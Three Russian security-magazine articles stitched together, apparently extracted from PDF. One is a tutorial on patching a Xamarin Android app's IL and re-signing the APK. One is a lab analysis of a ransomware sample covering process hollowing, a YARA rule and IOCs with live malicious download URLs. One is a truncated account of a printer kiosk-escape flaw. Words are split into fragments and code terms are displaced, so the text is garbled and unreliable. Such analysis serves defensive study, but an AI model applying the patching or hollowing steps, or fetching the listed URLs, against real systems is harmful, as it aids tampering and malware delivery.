нии алго рит ма, этот инс тру мент самый удоб ный.

dotPeek
.dll ..exe

Глав ное окно dotPeek

2.  — поз воля ет деком пилиро вать, редак тировать, ком пилиро вать
и отла живать сбор ки .NET. Сле дует отме тить, что все фун кции, кро ме
деком пиляции, работа ют далеко не всег да, мно гое зависит от кон крет ной
ситу ации. В моем слу чае ком пиляция не зарабо тала: соф тина не смог ла
свя зать прос транс тва имен Mono и Android.

dnSpy

Глав ное окно dnSpy

3.  — дос таточ но ста рый, но от это го не утра тив ший
акту аль нос ти софт. Поз воля ет деком пилиро вать  и  в код на С#

или CIL (Common Intermediate Language — «высоко уров невый ассем блер»
вир туаль ной машины .NET. Про межу точ ный язык, раз работан ный фир мой
Microsoft для плат формы .NET Framework). Самая полез ная воз- 
можность — этот инс тру мент уме ет ком пилиро вать код на CIL, что поз- 
воля ет без осо бого тру да вно сить изме нения в иссле дуемые фай лы.

Simple-assembly-explorer
.dll .exe

Глав ное окно Simple assembly explorer

Для рас паков ки и запаков ки APK я решил исполь зовать  вмес то стан дар- 
тно го для таких слу чаев apktool. Ниже я объ ясню почему.

7z

ÐÀÇÁÈÐÀÅÌ APK

Сна чала я попытал ся исполь зовать для рас паков ки APK извес тную прог рамму
, но при запаков ке воз никла проб лема из-за того, что apktool «не зна- 

ет» такой тип фай лов, как , не счи тает его стан дар тным для APK. Стан- 

дар тны ми счи тают ся толь ко фай лы с име нами из сле дующе го мас сива:

apktool
.dll

       
 

private final static String[] APK_STANDARD_ALL_FILENAMES = new String
[] {

     
   

"classes.dex", "AndroidManifest.xml", "resources.arsc", "res", "lib",
"libs", "assets", "META-INF" };.

При сбор ке APK все неиз вес тные фай лы сжи мают ся (тип сжа тия DEFLATED),
а Xamarin наде ется уви деть свои DLL нес жатыми (STORED) и от разоча рова- 
ния не может нор маль но про читать их. Сна чала воз никла мысль испра вить
и пересоб рать apktool, но потом я решил пос тупить про ще: рас паковы вать
и запако вывать фай лы обыч ным архи вато ром, без сжа тия. Ведь декоди рова- 
ние манифес та или получе ние smali-кода мне в дан ной задаче не тре бует ся,
а зачем тог да усложнять себе жизнь без необ ходимос ти?

Итак, рас паковы ваем:

7z.exe x program.apk -oprogram_apk

Пос ле рас паков ки, помимо при выч ных для APK фай лов, получа ем каталог
 с кучей . Из них нас инте ресу ет одна биб лиоте ка, имя которой

сов пада ет с име нем при ложе ния. Ее-то мы и будем пот рошить.

assemblies dll

ÏÀÒ×ÈÌ .NET

Ана лиз DLL и поиск мес та для вне сения пра вок выходит за рам ки сегод- 
няшней статьи, так как мыс лям на эту тему будет тес но даже в кни ге. Оста нов- 
люсь лишь на тех ничес ких момен тах. Как я писал выше, dnSpy отка зал ся ком- 
пилиро вать исправ ленную биб лиоте ку, поэто му приш лось при бег нуть
к помощи .Simple-assembly-explorer (SAE)

До пус тим, нам необ ходимо, что бы дан ная фун кция всег да воз вра щала
:true

  protected bool IsOnline()
{
     ConnectivityManager connectivityManager = (ConnectivityManager)
this.GetSystemService#0x0a0001d5("connectivity");
     if (connectivityManager == null)
  {

       return false;
  }
     NetworkInfo activeNetworkInfo = connectivityManager.
get_ActiveNetworkInfo#0x0a0002ad();
       return activeNetworkInfo != null && activeNetworkInfo.
get_IsConnected#0x0a0002ae();
}

Пос коль ку прав ки мож но вно сить толь ко в IL-код, в окне SAE перек люча емся
на вклад ку Details, где наб люда ем такую кар тину:

0        L_0000:      ldarg.0 
1        L_0001:      ldstr        "connectivity" 
2        L_0006:      callvirt     Java.Lang.Object Android.Content.
Context::GetSystemService(System.String) 
3        L_000b:      castclass    Android.Net.ConnectivityManager 
4        L_0010:      stloc.0 
5        L_0011:      ldloc.0 
6        L_0012:      brtrue.s     9 -> ldloc.0 
7        L_0014:      ldc.i4.0 
8        L_0015:      ret 
9        L_0016:      ldloc.0 
10       L_0017:      callvirt     Android.Net.NetworkInfo Android.
Net.ConnectivityManager::get_ActiveNetworkInfo() 
11       L_001c:      stloc.1 
12       L_001d:      ldloc.1 
13       L_001e:      brfalse.s    17 -> ldc.i4.0 
14       L_0020:      ldloc.1 
15       L_0021:      callvirt     System.Boolean Android.Net.
NetworkInfo::get_IsConnected() 
16       L_0026:      ret 
17       L_0027:      ldc.i4.0 
18       L_0028:      ret 

Тут есть два пути.
1. По дой ти к делу осно ватель но, фун дамен таль но, изу чить язык CIL

и написать необ ходимый код самос тоятель но.
2. На писать нуж ную фун кцию на C# и ском пилиро вать в CIL, получив тем

самым нуж ный код авто мати чес ки.

Я выб рал вто рой вари ант — это гораз до быс трее. Более того, нем ножко
погуг лив, мож но обна ружить очень полез ный сайт , на котором
весь ма удоб но кон верти ровать код из C# в CIL.

sharplab.io

Итак, вво дим в левой вклад ке сле дующее:

bool  function() {
   return true;
}

и спра ва сре ди кучи лиш него получа ем:

IL_0000: nop 
IL_0001: ldc.i4.1 
IL_0002: stloc.0
IL_0003: br.s IL_0005 
IL_0005: ldloc.0
IL_0006: ret 

Встав ляем получен ный код в биб лиоте ку с помощью Simple assembly explorer,
не забывая при этом сох ранить изме нен ную DLL. Если мы ничего не напута ли
и ниг де не ошиб лись, то пора собирать новый APK.

ÑÎÁÈÐÀÅÌ APK ÎÁÐÀÒÍÎ

Для сбор ки, как я уже писал выше, будем исполь зовать 7z в режиме без сжа- 
тия. Получен ный таким обра зом APK будет боль шего раз мера, чем исходный,
ну да раз мер не глав ное:

7z.exe a -tzip -mx0 -r0 program_patched_unalign_unsigned.apk .\
program_apk\*.*

Не боль шое пояс нение:  — фор мат архи ва,  — отсутс твие сжа тия, 

 — рекур сивный обход всех под катало гов.

-tzip -mx0 -
r0

Да, перед сбор кой луч ше уда лить каталог , содер жащий ста рую

под пись. Он не нужен, ведь нам при дет ся под писывать APK самос тоятель но.
Затем нуж но соз дать сер тификат для под писи и помес тить его в хра нили ще.
Если у тебя уже есть сер тификат, то этот шаг мож но про пус тить. Соз даем
сер тификат с помощью ути литы keytool из сос тава JDK:

META-INF

"c:\Android\Android Studio\jre\bin\keytool.exe" -genkey -v -keystore 
keys.keystore -alias key -keyalg RSA -keysize 2048 -validity 10000

Она задаст стан дар тные воп росы:

 

 

 

Enter keystore password: 
Re-enter new password: 
What is your first and last name? 
   
What is the name of your organizational unit? 
   
What is the name of your organization? 
   
What is the name of your City or Locality? 
   
What is the name of your State or Province? 
   
What is the two-letter country code for this unit? 
   
Is CN=x, OU=x, O=x, L=x, ST=x, C=x correct? 
  

[Unknown]:  x

[Unknown]:  x

[Unknown]:  x

[Unknown]:  x

[Unknown]:  x

[Unknown]:  x

[no]:  yes

Generating 2 048 bit RSA key pair and self-signed certificate 
(SHA256withRSA) wi 
th a validity of 10 000 days 
        for: CN=x, OU=x, O=x, L=x, ST=x, C=x 
[Storing keys.keystore]

Ну и пос ле это го мож но перехо дить к под писыва нию:

jarsigner.exe -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore 
keys.keystore -signedjar program_pathed_unalign.apk 
program_pathed_unalign_unsigned.apk key

В резуль тате будет соз дан поч ти готовый к уста нов ке файл
. «Поч ти» — потому что перед исполь зовани ем

его сле дует выров нять прог раммой  из сос тава build-tools SDK Android.
Дан ная про цеду ра гаран тиру ет, что все нес жатые фай лы в архи ве выров нены
отно ситель но начала фай ла. Это поз воля ет получить дос туп к фай лам нап- 
рямую, без необ ходимос ти копиро вания дан ных в ОЗУ, что умень шит исполь- 
зование памяти тво им при ложе нием.

program_pathed_unalign.apk
zipalign

Итак, ров няем:

zipalign.exe -v 4 program_pathed_unalign.apk program_pathed.apk

Пос ле это го мож но сме ло уста нав ливать прог рамму на телефон или эму лятор
и прис тупать к ее тес тирова нию.

ÂÛÂÎÄÛ

Как видишь, Xamarin’овские сбор ки ничуть не слож нее для ана лиза, чем род- 
ные при ложе ния ОС Android, надо лишь учесть некото рые тон кости при сбор- 
ке APK.

WWW

Вот нес коль ко полез ных ссы лок, которые помогут
тебе в работе с подоб ными при ложе ниями:
•GDA
•dotPeek
•dnSpy
•SAE
•SDK Platform Tools
•Sharplab
•Zipalign

mailto:stariy2003@yandex.ru
https://github.com/charles2gan/GDA-android-reversing-Tool
https://docs.microsoft.com/ru-ru/xamarin/get-started/what-is-xamarin
https://www.jetbrains.com/ru-ru/decompiler
https://github.com/dnSpy/dnSpy/releases
https://github.com/wickyhu/simple-assembly-explorer/releases
https://www.7-zip.org/download.html
https://github.com/iBotPeaches/Apktool
https://github.com/wickyhu/simple-assembly-explorer/releases
https://sharplab.io/
https://developer.android.com/studio/command-line/zipalign
https://github.com/charles2gan/GDA-android-reversing-Tool/releases
https://www.jetbrains.com/ru-ru/decompiler/
https://github.com/dnSpy/dnSpy/releases
https://github.com/wickyhu/simple-assembly-explorer/releases
https://developer.android.com/studio/releases/platform-tools
https://sharplab.io/
https://developer.android.com/studio/command-line/zipalign
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ВЗЛОМ

В этой статье мы иссле дуем вре донос ный файл на при мере
лабора тор ной работы  с ресур са .
Мы научим ся вруч ную рас паковы вать код, опре делим тех- 
нику внед рения вре донос ной прог раммы в про цесс и отве- 
тим на ряд воп росов.

Ransomed CyberDefenders

Нам пред ложен такой сце нарий: орга низа цию взло мали, коман да SOC обна- 
ружи ла заг ружен ный исполня емый файл. Наша задача — иссле довать его
и раз работать инди като ры ком про мета ции для пос леду юще го детек тирова- 
ния.

INFO

Ис сле дова ние вре донос ного фай ла необ ходимо
про водить в изо лиро ван ной сре де. Как соз дать
лабора торию для ана лиза вре доно сов, под робно
рас ска зано в статье «

».
Код под над зором. Соз даем

вир туаль ную лабора торию для ана лиза мал вари

Итак, заг ружа ем  и начина ем его иссле довать. По резуль татам
решения кей са необ ходимо отве тить на нес коль ко воп росов, но я покажу,
толь ко как его решать, и не буду при водить отве ты. Луч ше пов тори весь про- 
цесс самос тоятель но, что бы разоб рать ся и зак репить матери ал.

вре донос

ÈÍÑÒÐÓÌÅÍÒÀÐÈÉ

Для иссле дова ния вре донос ного фай ла вос поль зуем ся сле дующим соф том.
1.  — прог рамма для опре деле ния типов фай лов.DIE
2.  — прог рамма для поис ка арте фак тов исполня емых фай лов.PeStudio
3.  — инте рак тивный дизас сем блер, исполь зуемый для реверс-инжи- 

нирин га.
IDA Pro

4.  — инс тру мент для ана лиза сетево го тра фика.Wireshark
5.  — исполь зует ся в качес тве проз рачно го прок си-сер вера

с целью ана лиза вза имо дей ствия вре донос ного фай ла по про токо лу
HTTPS.

Burp Suite

6.  — ска нер IOCs.Loki Scanner
7.  — прог рамма для тес тирова ния и соз дания пра вил YARA.YaraEditor
8.  — ути лита для ана лиза вызыва емых WinAPI-фун кций иссле дуемо- 

го вре доно са.
ApiLoger

9.  — отладчик с откры тым исходным кодом для Windows, пред назна- 
чен ный для ана лиза вре донос ных прог рамм.
x64dbg

Ана лизи ровать вре донос ный модуль мы будем в четыре эта па:
1. Ста тичес кий ана лиз.
2. По веден ческий ана лиз.
3. Ди нами чес кий ана лиз.
4. Соз дание инди като ров ком про мета ции.

ÑÒÀÒÈ×ÅÑÊÈÉ ÀÍÀËÈÇ

В пер вую оче редь получим MD5-хеш-сум му исполня емо го фай ла и про верим
ее на . По MD5 a2f33095ef25b4d5b061eb53a7fe6548 VirusTotal выда- 
ет нам пер вичную информа цию об .

VirusTotal
ис полня емом фай ле

Да лее скор мим иссле дуемый файл ути лите DIE и выяс ним, какой ком- 
пилятор и ком понов щик исполь зовал ся при соз дании вре доно са, а так же
опре делим, упа кован он или нет.

Ин форма ция о ком пилято ре и ком понов щике

Итак, мы узна ли, что вре донос ный модуль раз работан на C/C++ и соб ран
для 32-раз рядных опе раци онных сис тем. DIE опре деля ет упа ков щик
с помощью заг ружен ных сиг натур, но иден тифици ровать руч ной упа ков щик
не поз воля ет. Для это го необ ходимо пос мотреть энтро пию фай ла по сек- 
циям.

INFO

Что такое энтро пия исполня емо го фай ла, рас ска- 
зано в статье «

».
Эн тро пия. Как хаос помога ет

искать вирусы

Ин форма ция об энтро пии исполня емо го фай ла

Зна чение энтро пии 7,677, зна чит, файл упа кован. Из рисун ка выше вид но, что
иссле дуемый файл име ет четыре сек ции, энтро пия сек ции  рав на 7,844..text

Заг рузим файл в ути литу PeStudio, что бы най ти все воз можные арте фак ты.
Нам инте рес ны вре мен ные мет ки ком пиляции фай ла, заг ружа емые биб лиоте- 
ки, исполь зуемые ресур сы, информа ция о вер сии исполня емо го фай ла,
харак терные стро ки, а так же отла доч ная информа ция и файл сбор ки
(Manifest). Все это при годит ся нам при соз дании фай ловой сиг натуры.

От ладоч ная информа ция

Стро ка  нам инте рес на для соз дания пра вила детек- 

тирова ния. На дан ном эта пе мы выяс нили, что исполня емый файл упа кован,
и получи ли харак терные стро ки.

C:\moz\vidaj.pdb

Преж де чем прис тупить к динами чес кому ана лизу, изу чим поведе ние вре- 
донос ного модуля. На этом эта пе выявим сетевое вза имо дей ствие с управля- 
ющим сер вером, а так же исполь зуемые фун кции Windows API.

За пус тим ути литу INetSim в вир туаль ной машине . Так же запус- 

тим Burp Suite для ана лиза вза имо дей ствия по HTTPS и будем слу шать
сетевой тра фик вза имо дей ствия, исполь зуя Wireshark.

Kali Linux

За пус тим Api Loger, выберем исполня емый файл  и нач нем

писать логи.

chalenge.exe

Вы зыва емые Windows API фун кции

Ис полня емый файл исполь зует фун кцию  с целью анти- 
отладки. Далее запущен ный про цесс счи тыва ется с помощью фун кции

, фун кция  выделя ет память и дан ные

записы вают ся в буфер в адресное прос транс тво про цес са
. Этот механизм похож на тех нику внед рения в про цесс

.

IsDebbugerPresent

ReadProcessMemory VirtualAllocEx

WriteProcessMemory
ProcessHollowing

Те перь давай пос мотрим на сетевой тра фик.

Се тевое вза имо дей ствие вре донос ного модуля

Как вид но из рисун ка выше, исполня емый файл вза имо дей ству ет со сле- 
дующи ми домена ми: , , .api.2ip.ua kotob.top tzgl.org

В  вид но вза имо дей ствие по про токо лу HTTPS.Burp Suite

Зап рос к api.2ip.ua

Зап рос к tzgl.org

Для опре деле ния IP-адре са исполня емый файл дела ет зап рос к 

, а далее заг ружа ет с ресур са 

исполня емый файл .

https://
api.2ip.ua https://tzgl.org/files/1/

build3.exe
Как мы пом ним, в INetSim есть фай лы-заг лушки. Пос ле зап роса к 

заг ружен ный файл  запус кает ся.
tzgl.org

build3.exe

За пуск заг ружен ного фай ла build3.exe

Пос коль ку мы соб рали лабора торию для ана лиза вре донос ных фай лов,
в нашем слу чае заг ружа ется файл-заг лушка ути литы INetSim. Так же обна- 
ружен HTTP-зап рос к ресур су .tzgk.org

HTTP-зап рос к домену tzgk.org

Ис поль зуя ути литу Process Hacker 2, рас смот рим поведе ние запущен ного
фай ла.

До чер ние про цес сы исполня емо го фай ла challenge.exe

Как вид но из рисун ка, про цесс  запус кает дочер ние про цес сы

 и , которые, в свою оче редь, запус кают .

challenge.exe
build2.exe build3.exe conhost.exe

Да лее про исхо дит шиф рование всех фай лов, которым наз нача ется рас- 
ширение . В кон це каж дого зашиф рован ного фай ла хра нит ся оди нако- 
вая струк тура, в которой записа ны иден тифика тор и дан ные в фор мате

.

.shgv

base64

Со дер жимое зашиф рован ного фай ла

На дан ном эта пе мы выяви ли сетевое вза имо дей ствие вре донос ного фай ла,
а так же обна ружи ли тех нику внед рения в про цесс Process Hollowing.

Ав торы вре доно са час то исполь зуют фун кции Windows API для выделе ния
памяти, что бы даль ше заг рузить в это мес то полез ную наг рузку, которая
будет рас паковы вать исполня емый код. Зна чит, наша задача — обна ружить
этот учас ток кода и выяс нить, какие при виле гии ему выдава лись. Далее мы
будем шаг за шагом идти по коду в поис ках фун кции рас паков ки.

Пос ле заг рузки фай ла нажима ем F9 и попада ем в точ ку вхо да исполня- 
емо го фай ла.

Точ ка вхо да

Нас инте ресу ет фун кция , основная задача которой — выделе ние
памяти в адресном прос транс тве про цес са.

VirtualAlloc

Для это го нажима ем Ctrl + G, набира ем  и перехо дим в этот

учас ток кода.

VirtualAlloc

По иск фун кции VirtualAlloc

Ста вим точ ку оста нова на вхо де в дан ную фун кцию (кла виша F2).

Точ ка оста нова на вхо де в фун кцию VirtualAlloc

Спус каем ся пошаго во ниже (F8), находим учас ток выхода из дан ной фун кции
и попада ем на сле дующий учас ток кода.

Учас ток кода переда чи выпол нения шелл-коду

Пос ле выхода из фун кции  в регис тре  хра нит ся

адрес выделен ной памяти. Затем фун кция  записы вает код
в выделен ное адресное прос транс тво, инс трук ция 

 исполь зует ся для переда чи выпол нения в шелл-код. Оста новим ся на этой

инс трук ции, щел кнем пра вой кноп ки мыши, выберем переход к кар те памяти
и пос мотрим, какие пра ва исполь зуют ся для выделен ной памяти по адре су

.

VirtualAlloc EAX 029E0000
call 2836512

jmp dword ptr ss:[ebp-
4]

ss:[ebp-4]

Пра ва дос тупа выделен ного учас тка кода

Как вид но из рисун ка выше, в выделен ной памяти уста нов лены пра ва 
на чте ние, запись и выпол нение. Далее мы попада ем в учас ток исполня емо го
кода по адре су, выделен ному с помощью фун кции Windows API

.

ERW

VirtualAlloc

Учас ток шелл-кода

Здесь вре донос ный код получа ет адре са фун кций в биб лиоте ках ,

, .

user32.dll
kernel32.dll ntdll.dll

По луче ние адре сов исполь зуемых WinAPI-фун кций из биб лиотек user32,
kernel32, ntdll

Продолжение статьи →
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Ес ли про лис тать ниже, то из биб лиоте ки kernel32 заг ружа ется 16 фун кций:
, , , , ,

, , , ,

, , ,

, , ,
.

WinExec CreateFile WriteFile CloseHandle CreateProcessA
GetThreadContext VirtualAlloc VirtualAllocEx VirtualFree
ReadProcessMemory WriteProcessMemory SetThreadContext
ResumeThread WaitForSingleObject GetModuleFileNameA
GetCommandLineA

Да вай погово рим о методе, который вре донос исполь зует, что бы скры вать
стро ки от иссле дова теля, — Stack Strings. Основная идея это го метода зак- 
люча ется в переме щении стро ки в стек по одно му сим волу. Обыч но для это го
выделя ется блок памяти, далее с помощью инс трук ции  сим вол помеща- 

ется в выделен ную область.

MOV

Пос ле это го вре донос вызыва ет фун кцию , а затем
запуты вает две стро ки —  и . Спус тись ниже

в коде, и уви дишь опи сан ный про цесс.

RegisterClassExA
saodkfnosa9uin mfoaskdfnoa

Во вре мя поведен ческо го ана лиза мы обна ружи ли, что пос ле запус ка
фай ла соз дает ся дочер ний про цесс, в который переда ется выпол нение,
а так же из биб лиоте ки  заг ружа ются фун кции ,

, , ,
 и . Зна чит, вре донос ный модуль исполь зует

тех нику Process Hollowing.

kernel32.dll CreateProcessA
VirtualAllocEx GetThreadContext WriteProcessMemory
SetThreadContext ResumeThread

Так называ ется один из популяр ных методов внед рения вре донос ного
кода в память про цес са. Что бы добить ся резуль тата, вре донос ное ПО уда- 
ляет легитим ный код из памяти целево го про цес са и переза писы вает
это прос транс тво памяти сво им исполня емым фай лом.

Сна чала вре донос ная прог рамма соз дает новый про цесс в при оста нов- 
ленном режиме  с фла гом  ( )

и  ( ). Основной поток нового про цес са
находит ся в при оста нов ленном сос тоянии и ждет, пока будет выз вана фун- 
кция . Затем память целево го про цес са отклю чают с исполь- 

зовани ем  либо  и содер- 

жимое легитим ного фай ла заменя ется вре донос ной полез ной наг рузкой.

CreateProcess CREATE_SUSPENDED 0x00000004
CREATE_NO_WINDOW 0x08000000

ResumeThread
ZwUnmapViewOfSection NtUnmapViewOfSection

Те перь, ког да память отклю чена, заг рузчик выделя ет новую память
для вре донос ного кода с помощью  и исполь зует

 для записи каж дого из раз делов вре доно са в прос- 
транс тво целево го про цес са. Далее вре донос ный модуль вызыва ет

, что бы ука зать точ ке вхо да новый раз дел кода, который он

записал. В кон це вре донос ная прог рамма возоб новля ет при оста нов ленный
поток, вызывая , что бы вывес ти про цесс из при оста нов ленно го

сос тояния.

VirtualAllocEx
WriteProcessMemory

SetThreadContext

ResumeThread

Спус каем ся ниже по коду, исполь зуя кла вишу , и попада ем к сле дующе- 
му учас тку кода.

F8

Вы зов фун кции CreateProcessA

В регис тре  содер жится адрес фун кции , которая выпол- 

няет ся с парамет ром , рав ным .

ECX CreateProcessA

dwCreationFlags 0x08000004
Да лее про исхо дит выделе ние памяти с помощью фун кции .VirtualAlloc

Вы деле ние памяти

Па мять выделя ется по адре су . Перей дем к дам пу и уви дим, что он

пока пуст.

001F0000

Дамп выделен ной памяти

Сле дующим эта пом вызыва ется фун кция  с целью получить
кон текст потока.

GetThreadContext

Вы зов фун кции GetThreadContext

Вы зыва ется фун кция  для получе ния дес крип тора про- 
цес са.

ReadProcessMemory

Вы зов фун кции ReadProcessMemory

Про исхо дит вызов фун кции , которая отклю чает
память целево го про цес са.

ZmUnmapViewOfSection

Вы зов фун кции ZmUnmapViewOfSection

И наконец, выпол няет ся вызов фун кции , что бы выделить память
для вре донос ного модуля.

VirtualAllocEx

Учас ток вызова фун кции VirtualAllocEx

Стек вызыва емой фун кции

Вы зыва емая фун кция име ет пять аргу мен тов, что мы и видим в сте ке: дес- 
крип тор про цес са, ука затель на адрес области кода, раз мер выделя емой
области, тип выделе ния памяти и защита памяти для выделен ной области.
Как вид но из сте ка, параметр  озна чает 

. Зна чение 

 говорит нам о том, что в выделен ной области

раз решен дос туп на выпол нение, запись и чте ние.

0x00003000 MEM_COMMIT (
0x00001000) | MEM_RESERVE (0x00002000) 0x00000040 (
PAGE_EXECUTE_READWRITE)

Ад рес  ука зыва ет на адрес, где будет рас полагать ся вре- 

донос ный код. Далее вызыва ется фун кция .

0x00400000
NtWriteVirtualMemory

Вы зов фун кции NtWriteVirtualMemory

Вы зов про исхо дит со сле дующи ми парамет рами, пред став ленны ми в сте ке.

Зна чение сте ка вызова фун кции NtWriteVirtualMemory

Зна чение  — это дес крип тор про цес са,  — базовый

адрес для записи в ука зан ном про цес се,  — адрес буфера,
в котором хра нит ся содер жимое для записи в адресное прос транс тво про- 
цес са,  — раз мер для записи в про цесс.

0x00000270 0x00400000
0x29915A0

0x00000400
Здесь вре донос ный код записы вает каж дый сег мент исполня емо го фай ла

в новое адресное прос транс тво. Ниже пред став лено содер жимое сте ка
при каж дом вызове фун кции .NtWriteVirtualMemory

За пись сег мента .text

За пись сег мента .rdata

За пись сег мента .reloc

Спус каем ся ниже и видим выпол нение фун кции , которая
исполь зует ся для записи из буфера в адресное прос транс тво про цес са.

WriteProcessMemory

Вы пол нение фун кции WriteProcessMemory

Стек содер жит сле дующие дан ные.

Зна чение сте ка

Зна чение  — это адрес, который содер жит дан ные для записи.0x029016EC
Пос ле это го вызыва ется фун кция , которая соз дает кон- 

текст для ука зан ного потока, и фун кция  для возоб новле ния
работы нового исполня емо го фай ла.

SetThreadContext
ResumeThread

Вы зов фун кции SetThreadContext

Вы зов фун кции ResumeThread

Пе ред выпол нени ем фун кции  мы получим дамп соз данно го

про цес са. Для это го вос поль зуем ся пла гином . Наж ми на вклад ку
«Модули → Scylla».

ResumeThread
ScyllaHide

За пуск пла гина ScyllaHide

Сле дующим эта пом мож но ана лизи ровать рас пакован ный код в ,

которая име ет удоб ный пла гин  для деком пиляции кода. Необ ходимо

най ти код генера ции клю ча для шиф рования фай лов и алго ритм шиф рования,
но такое иссле дова ние выходит за рам ки нашей статьи.

IDA Pro
HexRays

На текущем эта пе нам уда лось рас паковать вре донос ный модуль, мы
разоб рались с тех никой  в коде. Теперь нуж но раз- 
работать инди като ры ком про мета ции.

Process Hollowing

Соз дадим прос тое YARA-пра вило для детек тирова ния вре доно са.
При соз дании сиг натур для это го семей ства шиф роваль щиков необ ходимо
про ана лизи ровать мно жес тво фай лов, най ти общие учас тки кода и стро ки.
А для это го может при годить ся полез ный пла гин  в IDA Pro.mkYARA

rule detect_ransomware 
{
   meta: 

        description = "Detect malware ransomware"
        autor = "rayhunt454"

   strings: 
         $s = "gdi32.dll" nocase 
         $s1 = "moz\\vidaj.pdb" nocase 
         $s3 = "<!<-<C<O<X<^<g<s<|<"

   condition: 
0         uint16( ) == 0x5A4D and all of them 

}

Вы пишем так же инди като ры ком про мета ции (IOCs), которые мож но заг рузить
в Loki Scanner и Suricata.

MD5: a2f33095ef25b4d5b061eb53a7fe6548•
SHA1: b38a8cb06507adb966dfdb809403f8f7f64ca534•
URLs: , 

, 
• https://api.2ip.ua https://tzgl.org/files/1/build3.
exe http://tzgl.org/fhsgtsspen6/get.php?
pid=AD4334DBE387EF198B77CC7408B38C8F&first=false
Domains: , , • api.2ip.ua kotob.top tzgl.org

ÇÀÊËÞ×ÅÍÈÅ

В этой лабора тор ной работе мы рас пакова ли вре донос ный файл, иссле дова- 
ли его поведе ние. При динами чес ком ана лизе разоб рали тех нику внед рения
в про цесс Process Hollowing, раз работа ли собс твен ные инди като ры ком про- 
мета ции. Мы выяс нили, что вре донос ный файл отно сит ся к шиф роваль щикам,
глав ная задача которых — зашиф ровать важ ные дан ные, что бы затем пот- 
ребовать выкуп.

https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-registerclassexa
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getthreadcontext
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-readprocessmemory
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-zwunmapviewofsection
https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-createwindowexa
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntallocatevirtualmemory
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setthreadcontext
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-resumethread
https://github.com/x64dbg/ScyllaHide
https://github.com/fox-it/mkYARA
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ВЗЛОМ

Уяз вимос ти обна ружи вают не толь ко в опе раци онных сис- 
темах и соф те для компь юте ров или мобиль ных устрой ств.
Иссле дова тели из  недав но наш- 
ли любопыт ную уяз вимость в мно гофун кци ональ ных устрой- 
ствах Konica Minolta и рас ска зали о том, как на ее исправ- 
ление пов лияла эпи демия COVID-19.

SEC Consult Vulnerability Lab

Проб лема акту аль на для нес коль ких моделей МФУ Konica Minolta bizhub
и поз воля ет получить пол ный дос туп к опе раци онной сис теме на чте ние
и запись от име ни поль зовате ля root. Прав да, есть нюанс: для это го нуж но
иметь непос редс твен ный физичес кий кон такт с сен сорным дис пле ем МФУ
и воз можность под клю чить к нему внеш нюю кла виату ру.

Ког да речь заходит о прин терах, чаще все го уяз вимос ти находят в драй- 
верах, сер висных прог раммах, веб-при ложе ниях самого прин тера или в
реали зации сетевых про токо лов этих устрой ств. Ребята из SEC Consult пош ли
нем ного дру гим путем и сос редото чились на железе. Вооб ще, сов ремен ный
лазер ный прин тер — это по боль шому сче ту самый обык новен ный компь- 
ютер, раз ве что пред назна чен он для реали зации одной-единс твен ной фун- 
кции: печати изоб ражения на бумаге. В нем есть устрой ства вво да — сен- 
сорный дис плей, неболь шая кла виату ра, пор ты USB и RJ-45, пос ледова тель- 
ные интерфей сы, а некото рые модели даже обо рудо ваны счи тыва теля ми
RFID для аутен тифика ции поль зовате лей.

МФУ обыч но вза имо дей ству ет с поль зовате лем через при ложе ние с гра- 
фичес ким интерфей сом, которое запуще но в пол ноэк ранном режиме поверх
*nix-сов мести мой опе раци онной сис темы, при этом к самой ОС прин тера
поль зователь непос редс твен ного дос тупа не име ет. Все дей ствия в сис теме,
которые при ложе ние совер шает при нажатии физичес ких кно пок
или экранных объ ектов на сен сорном дис плее прин тера, выпол няют ся
от име ни неав торизо ван ного поль зовате ля с огра ничен ными при виле гиями.
По край ней мере, так дол жно быть в теории.

В сво ем  спе циалис ты SEC Consult рас ска зали о том, что
при работе с МФУ Konica Minolta bizhub C3300i и C3350i они замети ли стран- 
ную ано малию. А имен но: внеш ний вид гра фичес кого при ложе ния на сен-
сорном экра не прин тера нем ного менял ся в зависи мос ти от кон тек ста
нажима емых ими кно пок и выбира емых меню. Это поз волило пред положить,
что, помимо собс твен ной прог раммы для работы с устрой ством, в МФУ
исполь зуют ся и дру гие стан дар тные при ложе ния, вхо дящие в ком плект пос- 
тавки опе раци онной сис темы. Для про вер ки этой гипоте зы иссле дова тели
под клю чили к прин теру внеш нюю USB-кла виату ру и, нажимая раз ные сочета- 
ния кла виш, сумели запус тить на экра не бра узер Chromium. Воз никло подоз- 
рение, что таким обра зом они могут получить и дос туп к фай ловой сис теме
прин тера, вклю чая фай лы кон фигура ции, сох ранен ные пароли и про чие кон- 
фиден циаль ные дан ные.

ис сле дова нии

«Подопыт ный» Konica Minolta bizhub C3300i — с помощью это го дис плея
и про вели прак тичес ки весь «взлом» (иллюс тра ция с сай та sec-
consult.com)

ÏÎËÓ×ÅÍÈÅ ÄÎÑÒÓÏÀ Ê ÔÀÉËÎÂÎÉ ÑÈÑÒÅÌÅ

Дис плей на МФУ Konica Minolta, как и на мно гих дру гих подоб ных офис ных
устрой ствах, нужен, что бы управлять оче редью печати, ска ниро вать изоб- 
ражения и изме нять нас трой ки прин тера. Для вза имо дей ствия с поль зовате- 
лем Konica Minolta исполь зует самопис ную прог рамму, но некото рые ее фун- 
кции реали зова ны в виде веб-при ложе ния. Так, если на сен сорном экра не
Minolta bizhub C3300i перей ти в раз дел User authentication, нажать кноп ку
Public User Access, затем выб рать на открыв шемся экра не раз дел Utility,
а затем еще раз Utility, откро ется встро енная спра воч ная сис тема прин тера.
Она реали зова на в виде веб-при ложе ния, для отоб ражения которо го откры- 
вает ся стан дар тный бра узер Chromium в пол ноэк ранном режиме («режиме
киос ка») без каких-либо панелей, рамок и про чих эле мен тов интерфей са —
иссле дова тели опре дели ли это по изме нению внеш него офор мле ния при- 
ложе ния.

